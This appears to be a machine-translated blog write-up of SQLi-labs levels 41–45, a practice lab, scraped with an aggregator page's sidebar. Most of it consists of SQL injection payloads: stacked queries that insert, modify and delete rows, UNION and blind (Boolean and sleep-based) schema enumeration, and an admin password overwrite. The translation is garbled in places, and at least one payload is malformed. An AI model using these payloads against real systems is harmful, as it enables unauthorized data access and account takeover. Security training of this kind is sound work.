当前位置:网站首页>SQL Lab (41~45) (continuous update later)
SQL Lab (41~45) (continuous update later)
2022-07-07 12:24:00 【hcjtn】
(41~45)
sql-lab-41
And 40 It's the same , Using stack injection , Time blind note , We found that it was just the different way of wrapping
Resolve table name :?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
therefore , We try to insert a statement :
?id=1;insert into users(id,username,password)values(20,‘hcjtn’,‘1234’)-- q
We can also try to modify the statement we just inserted :
?id=1 ;update users set username=‘tn’ where id=20-- q
Then try to eliminate it :
?id=1;delete from users where id=20 – q
sql-lab-42
open 42 Turn off , We found that it is very similar to the previous secondary injection interface
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-S0IIcnbM-1642853545248)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122180348940.png)]](/img/f6/48da0a43fb7efe9f85e7b7bac5b946.jpg)
At that time, we were new users , Use secondary injection to carry out a sql The ginseng , But this level does not allow us to create new users ,
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-CSotAlDy-1642853545249)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122180525832.png)]](/img/71/e31498d0f823d51cc583b527bf64c1.jpg)
So we need to find its injection point above : When we're in password On the input ’or 1=1 – q
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-cVl9CUnn-1642853545249)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122181132852.png)]](/img/dd/c34e05c9321f08976da700aa8f6a7c.jpg)
It is found that its injection point is password On
therefore , We can inject changes with stack admin password
First step : Determine its table name and Name
Name of judgment table :
’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
Found to have emails,referers,uagents,users Three tables
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-1Rw5bF9q-1642853545250)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122181712329.png)]](/img/85/95c9b1213bdd5bfd63c63220e2abab.jpg)
Judge the listing :
’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
Find out users There are id,username,password Three column names
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-JbtOUBYO-1642853545250)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122181839109.png)]](/img/f8/15d2d46b674db745e814cb709d80fe.jpg)
Then we use stack injection to change the administrator password :
’ ;update users set password=‘hcjtn’ where username=‘admin’#-- q
Then input admin And password hcjtn I found that the landing was successful
![[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-tIaT2t1w-1642853545250)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220122182233755.png)]](/img/32/af47e73e5b98fc2b071782a71b2196.jpg)
sq-lab-43
and sql-lab-42 The same first segment injection point , stay password On the input ’)or 1=1# I found that the landing was successful It is found that the injection point is password On
43 Guan he 42 The difference of closing is only the difference of closing mode
The rest are exactly the same
The first is to judge the table name and column name :
Name of judgment table :
') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
Judge the listing :
') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’#
Use stack injection to change the administrator password :
1’);update users set password=‘hcjtn’ where username=‘admin’#
sql-lab-44
It's the same interface again ,
First judge the injection point when we are password On the input ’or 1=1 – q, I found that the landing was successful
Injection point :password
This level and 42 The difference is : There is no obvious visual sign of error reporting in this level
So we can only use Boolean blind note :
Resolve library name :
'or (ascii(substr((database()),1,1)))=115#
Description the first digit of the database name is s
'or (ascii(substr((database()),2,1)))=101#
Description the first digit of the database name is e
Name of judgment table :
'or (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q
Found to have emails,referers,uagents,users Three tables
Judge the listing :
'and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q
Find out users There are id,username,password Three column names
And then change admin Password :
';update set password=‘hcjtn’ where username=‘admin’#
Click , boring
sql-lab-45
The injection point is possword On :’)or 1=1 #
Use time blind injection
Resolve database name :’)or if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ')or if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :’ )or if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
get data : ')or (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
边栏推荐
- 【全栈计划 —— 编程语言之C#】基础入门知识一文懂
- MATLAB实现Huffman编码译码含GUI界面
- 110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
- 解密GD32 MCU产品家族,开发板该怎么选?
- PowerShell cs-utf-16le code goes online
- Solutions to cross domain problems
- 从工具升级为解决方案,有赞的新站位指向新价值
- 超标量处理器设计 姚永斌 第9章 指令执行 摘录
- "Series after reading" my God! It's so simple to understand throttling and anti shake~
- Tutorial on the principle and application of database system (008) -- exercises on database related concepts
猜你喜欢

软件内部的定时炸弹:0-Day Log4Shell只是冰山一角

Inverted index of ES underlying principle

Mastering the new functions of swiftui 4 weatherkit and swift charts

Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
![111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]](/img/2e/da45198bb6fb73749809ba0c4c1fc5.png)
111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]

Rationaldmis2022 array workpiece measurement

千人规模互联网公司研发效能成功之路

How to connect 5V serial port to 3.3V MCU serial port?

Epp+dis learning road (2) -- blink! twinkle!

(to be deleted later) yyds, paid academic resources, please keep a low profile!
随机推荐
When OSPF specifies that the connection type is P2P, it enables devices on both ends that are not in the same subnet to Ping each other
Superscalar processor design yaoyongbin Chapter 10 instruction submission excerpt
Superscalar processor design yaoyongbin Chapter 9 instruction execution excerpt
College entrance examination composition, high-frequency mention of science and Technology
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]
数据库系统原理与应用教程(007)—— 数据库相关概念
Visual Studio 2019 (LocalDB)\MSSQLLocalDB SQL Server 2014 数据库版本为852无法打开,此服务器支持782版及更低版本
Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
(to be deleted later) yyds, paid academic resources, please keep a low profile!
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
免备案服务器会影响网站排名和权重吗?
跨域问题解决方案
Common locking table processing methods in Oracle
C#中在路径前加@的作用
Hi3516全系统类型烧录教程
即刻报名|飞桨黑客马拉松第三期盛夏登场,等你挑战
什么是局域网域名?如何解析?
<No. 9> 1805. Number of different integers in the string (simple)